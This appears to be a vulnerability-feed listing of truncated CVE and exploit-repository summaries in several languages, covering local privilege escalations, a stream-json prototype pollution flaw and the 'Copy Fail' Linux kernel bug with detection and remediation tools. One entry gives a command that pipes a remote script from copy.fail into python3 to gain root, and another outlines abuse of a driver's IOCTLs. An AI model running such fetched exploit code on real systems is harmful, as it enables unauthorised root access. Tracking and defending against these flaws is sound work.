Linux-Privilege-Escalation-CVE-2025-27591

CVE-2025-27591 - belowにおける書き込み可能なシンボリックリンクを介した権限昇格 概要 これは CVE-2025-27591 に対するシンプルなエクスプロイトであり、Linux システム監視ツール below におけるローカル権限昇格脆弱性です。この脆弱性は v0.9.0 より前のバージョンに影響し、システム内の誤った権限割り当てに起因します。この問題は 2025 年 1 月に発見され、2025 年 3 月 12 日に公開されました SecurityOnline, OpenWall。below が sudo で実行されると、ワールド書き込み可能なディレクトリ...

CVE-2019-8781-macOS

CVE-2019-8781 セキュリティ勧告 CVE-2019-8781 POCの詳細 POCはプロセスをrootに昇格させ、シェルを実行します。 エクスプロイト環境 - macOS 10.14.6 18G95（10.15.0より前にリリースされたすべてのmacOSバージョンで動作するはずです） - SMEP: On - SMAP: Off - Kernel ASLRスライドがargv1に渡されます。 ビルド コンパイルにはXcode 9.4.1 Command Line Toolsが必要です。 Makefileを確認してください。 解説記事...

CVE-2020-0796-LPE

CVE-2020-0796-LPE SMBGHOST local privilege escalation https://github.com/ZecOps/CVE-2020-0796-LPE-POC https://github.com/danigargu/CVE-2020-0796...

CVE-2026-21140

Improper access control in ManagedProvisioning prior to SMR Sep-2026 Release 1 allows local attackers to install arbitrary applications...

CVE-2024-36587

CVE-2024-36587 - dnscrypt-proxy ローカル権限昇格 概要 脆弱性の説明 : dnscrypt-proxy サービスのインストール時、カレントディレクトリ内の実行ファイルを信頼して登録する問題により、悪意のあるバイナリを挿入して権限昇格が可能となる。 影響を受けるバージョン : dnscrypt-proxy v2.0.0-alpha9 v2.1.5 PoC 手法 : バイナリプランティング binary planting 環境構築 docker compose up --build ビルドおよび実行が完了するとコンテナが作成される。 コンテナ内部へ接続:...

EUVD-2026-91157

Improper access control in ManagedProvisioning prior to SMR Sep-2026 Release 1 allows local attackers to install arbitrary applications...

CVE-2026-21140

A vulnerability exists in ManagedProvisioning prior to SMR Sep-2026 Release 1 due to improper access control . This flaw allows local attackers to install arbitrary applications on the affected system. Specific exploit details are not provided in the documents.

CVE-2020-9332

CVE-2020-9332 Description A vulnerable bus driver in FabulaTech “USB for Remote Desktop” and “USB over Network” allows low privileged users to add a fully controlled software USB device, which could be used by an attacker to elevate privileges under certain common circumstances Vulnerability Type...

PT-2026-104067

Improper access control in ManagedProvisioning prior to SMR Sep-2026 Release 1 allows local attackers to install arbitrary applications...

foreman: command injection in foreman-tail

A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not...

gvcidrv64

嗨，黑客们。 GVCIDrv64.sys 是随技嘉 BIOS 工具一起分发的已签名内核驱动程序。它创建了 \.\GVCIDrv64，且没有安全描述符，因此任何本地用户都可以打开它——无需管理员权限，无需 UAC。它暴露了 3 个没有任何访问控制的 IOCTL：映射 32 MB 物理内存（0x9C406580）、取消映射（0x9C406584），以及 1/2/4 字节的原始 I/O 端口读/写（0x9C406588）。 诀窍在于其中两个如何组合。映射 IOCTL 读取 PCI 设备的 BAR0 并将其映射，但端口 IOCTL 允许你先重写该 BAR0。将 BAR...

CVE-2026-104182

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, the JSONC parser at stream-json/jsonc/parser.js and verifier at stream-json/jsonc/verifier.js restart comment-terminator scanning from the opening slash whenever a...

CVE-2026-104183

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacemen...

CVE-2026-104183

The stream-json micro-library (versions prior to 3.6.0 ) is vulnerable to a prototype pollution flaw within its Assembler component. The root cause is the use of plain assignment to materialize object properties, which allows an input key named __proto__ to invoke an inherited setter. This result...

CVE-2026-104183 stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacemen...

CVE-2026-104182

The stream-json micro-library is vulnerable to a Denial of Service (DoS) via a flaw in its JSONC parser (specifically at stream-json/jsonc/parser.js and stream-json/jsonc/verifier.js). Prior to version 3.6.0 , the parser restarts comment-terminator scanning from the opening slash whenever a block...

cve-2026-31431-checker

CVE-2026-31431（Copy Fail）检测工具 一个针对 Linux 内核中 CVE-2026-31431“Copy Fail”漏洞的全面检测与分析工具。 ⚠️ 重要免责声明 本工具仅用于检测。它不会利用漏洞或修改任何系统文件。 仅读取系统信息和配置文件 不会写入 /etc/passwd、/usr/bin/su 或任何系统二进制文件 不会执行实际的漏洞利用尝试 仅可在您拥有并有权测试的系统上使用 本工具可能产生误报或漏报。 请始终使用官方检测器进行最终确认。 关于 CVE-2026-31431 CVE-2026-31431“Copy Fail”是一个严重的 Linux...

CVE-2026-31431-copy-fail

Copy Fail 大多数 Linux LPE 需要竞态窗口或内核特定偏移。 Copy Fail 是一个直线逻辑缺陷——两者都不需要。 同一个 732 字节的 Python 脚本即可让自 2017 年以来发布的每个 Linux 发行版获得 root 权限。 快速运行： curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user groups=1002user...

Weekly-Breach-Investigation--006

复制失败漏洞（CVE-2026-31431） 概述 Linux 内核中存在一个高严重性的本地权限提升漏洞，允许非特权用户通过破坏内存页缓存来获取 root 权限。自 2017 年以来影响各 Linux 发行版，并对云和容器化环境构成严重风险。 检测 已加入 CISA KEV 目录（2026 年 5 月） 已在野外观察到利用行为 已有 Python、Go 和 Rust 版本的 PoC MITRE ATT&CK 映射 权限提升：滥用权限提升控制机制（T1548） 权限提升：访问令牌操纵（T1134） 执行：命令和脚本解释器（T1059） 防御规避：伪装 / 合法系统调用（T1036） 缓解措...

cve-2026-31431-algif-aead-remediator

CVE-2026-31431 / GHSA-2274-3hgr-wxv6 — algifaead 修复工具 严重性： 高危（CVSS 7.8 — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H） 背景 CVE-2026-31431 是 Linux 内核 algifaead 模块（AFALG AEAD 加密套接字接口）中的一个本地权限提升漏洞。低权限本地用户可利用不正确的就地缓冲区操作来获得完全 root 访问权限。所有运行在补丁发布之前 Linux 内核版本的 AKS 节点池都可能受到影响。 algifaead 模块对于正常的 Kubernete...